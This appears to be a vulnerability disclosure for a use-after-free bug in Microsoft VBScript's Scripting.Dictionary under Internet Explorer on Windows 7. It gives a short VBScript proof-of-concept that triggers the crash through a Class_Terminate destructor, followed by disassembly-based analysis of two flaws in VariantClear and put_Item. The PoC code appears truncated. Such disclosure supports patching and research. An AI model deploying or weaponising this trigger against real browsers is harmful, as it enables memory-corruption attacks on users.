<!--
There is a use-after-free vulnerability (possibly two vulnerabilities triggerable by the same PoC, see below) in Microsoft VBScript. The vulnerability has been confirmed in Internet Explorer on Windows 7 with the latest patches applied.

PoC:
(Note that Page Heap might need to be enabled to observe the crash.)

Class class2
  Private Sub Class_Terminate()
    var17.RemoveAll

Set var17 = CreateObject("Scripting.Dictionary")
Set var17.Item("foo") = new class2
var17.Item("foo") = 1

<!--
===============================================================================

Preliminary Analysis:

1st issue: In OLEAUT32!VariantClear, if the Variant is an object, the object destructor is going to be called and immediately after that the variant type is going to be (un)set. However, the object destructor can call attacker-controlled VBScript and the memory holding the Variant could be freed, as demonstrated by the PoC. This is also visible in the following snippet of code taken from the 64-bit version of OLEAUT32!VariantClear:

000007fe`ff0c11d3 ff5010          call    qword ptr [rax+10h]
000007fe`ff0c11d6 66892f          mov     word ptr [rdi],bp ds:00000000`0486cfd8=????

2nd issue: Even if the 1st issue was fixed, the PoC would still trigger another issue, which is that VBADictionary::put_Item calls VariantCopy immediately after VariantClear in order to set the new value in the dictionary. If VariantClear deletes the memory containing the variant (as demonstrated earlier), VariantCopy is going to access the freed memory. This is visible in the following snippet of code from VBADictionary::put_Item:

000007fe`f08bd48a ff15200d0100    call    qword ptr [scrrun!_imp_VariantClear (000007fe`f08ce1b0)]
000007fe`f08bd490 488bd7          mov     rdx,rdi
000007fe`f08bd493 488bcb          mov     rcx,rbx
000007fe`f08bd496 ff151c0d0100    call    qword ptr [scrrun!_imp_VariantCopy (000007fe`f08ce1b8)]
